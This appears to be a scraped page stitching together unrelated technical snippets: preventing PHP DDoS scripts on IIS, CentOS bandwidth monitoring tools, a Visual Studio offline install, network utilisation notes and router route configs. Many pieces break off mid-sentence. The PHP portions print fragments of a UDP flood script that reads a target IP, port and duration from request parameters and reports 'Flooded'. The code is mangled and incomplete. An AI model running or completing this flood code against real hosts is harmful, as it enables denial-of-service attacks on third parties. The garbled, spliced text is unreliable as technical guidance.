Using PHP code to call sockets, directly with the server's network attack other IP, before I have encountered this problem in Apache, today we talk about the IIS to prevent the use of PHP DDoS network bandwidth and server resources processing methods.
Common code for PHP DDoS is as follows:
The code is as follows
Copy Code
$packets = 0;
View the network bandwidth egress of CentOS
Check the network port size of the server when maintaining the system. Therefore, a Linux Command is required.
How can I check the network bandwidth egress of CentOS? You can use the following command to view details.
# Ethtoo
This article is useful for the Internet-savvy Tom and helps avoid jokes in the future. Of course, this is common sense for the great gods.
I believe many people have this problem: how can I download kb/s at a 4 M bandwidth.
I will say this when I'm not learning ..... after finishing the course today, I finally understood what the teacher said. I sent it to people who don't understand it. I don't know any jokes in the future --,
All right, let's get s
Install Visual Studio on low bandwidth or unreliable network environmentsWe recommend that you try the Visual Studio Web Installer-we think to find it a good experience for most situations.Download Visual Studio 2017However, if your Internet connection is unavailable or unreliable, you can use the command line to create a local cache of The files you need to a offline install. Here's how.NoteIf You is an en
thing that the CPU usage of a vro occasionally reaches the highest point of 100%. This indicates that the device has no spare time. However, if a CPU usage rate is 100% for a period of time, it may indicate packet loss. In this case, you should check other information, such as packet discard.The opposite example is the half-duplex, 10 BaseT Ethernet utilization of shared media. Even if the maximum theoretical capacity of 10 BaseT is 10 MB, in some cases, reaching half of the capacity may make t
Use PHP code to call sockets and directly use the server's network to attack other IP addresses. Previously I encountered this problem in apache, today we will talk about how to prevent php ddos attacks from occupying the network bandwidth and server resources in iis.
Common php ddos code is as follows:
The Code is as follows:
Copy code
$
Tags: centos ubuntu col install NIC Linux usage instructions yumDescription1, it is possible to view the bandwidth consumption of a process need to know the PID, process name, send speed, receive speed.2, unfortunately, in Linux native software does not have such a paragraph, only additional installed, the most in line with the above situation is only nethogs.3, Nethogs can specify the network card, but can
Nload is a simple and easy-to-use bandwidth flow monitoring tool under Linux, and dynamic graphics based on character interface display the current traffic of the NIC.
However, CentOS official source does not have it, can not directly use Yum installation. We can download the third party RPM release platform and recommend the following source, which releases multiple RPM packages
http://pkgs.repoforge.org/nload/
Installation method:
1. Find the ap
Description jsyd-1104IP route 43.254.84.0/22 aggregate1.110 10.10.110.1 Description jsyd-1104IP route 58.68.228.16/29 aggregate1.110 10.10.110.1 Description jsyd-11047. Create a default route to different exits, since the device matches the NAT rule before routing, all exits can be added to the default route at the same time.IP vrouter TRUST-VRIP Route 0.0.0.0/0 aggregate2.120 124.113.229.157IP route 0.0.0.0/0 aggregate2.121 10.10.121.2 Description ahyd1-1gIP route 0.0.0.0/0 aggregate2.122 10.1
First download the RPM package for the rpmforge-release extension32-bit operating system: wget http://www.sudu.us/Tools/bmon/rpmforge-release-0.3.6-1.el5.rf.i386.rpm64-bit operating system: wget http://www.sudu.us/Tools/bmon/rpmforge-release-0.3.6-1.el5.rf.x86_64.rpmto install the rpmforge-release extensionRPM-UHV rpmforge-release-0.3.6-1.el5.rf.i386.rpm or rpmforge-release-0.3.6-1.el5.rf.x86_64.rpmThen you can install Bmon using Yum Setup.Yum-y Install Bmonafter the installation, the direct exe
Use PHP code to call sockets and directly use the server's network to attack other IP addresses. The common code is as follows:
Copy codeThe Code is as follows: $ packets = 0;
$ Ip = $ _ GET [\ 'IP \ '];
$ Rand = $ _ GET [\ 'port \ '];
Set_time_limit (0 );
Ignore_user_abort (FALSE );
$ Exec_time = $ _ GET [\ 'time \ '];
$ Time = time ();
Print \ "Flooded: $ ip on port $ rand
\";
$ Max_time = $ time + $ exec_time;
For ($ I = 0; I I $ Out. = \ "X \";
}
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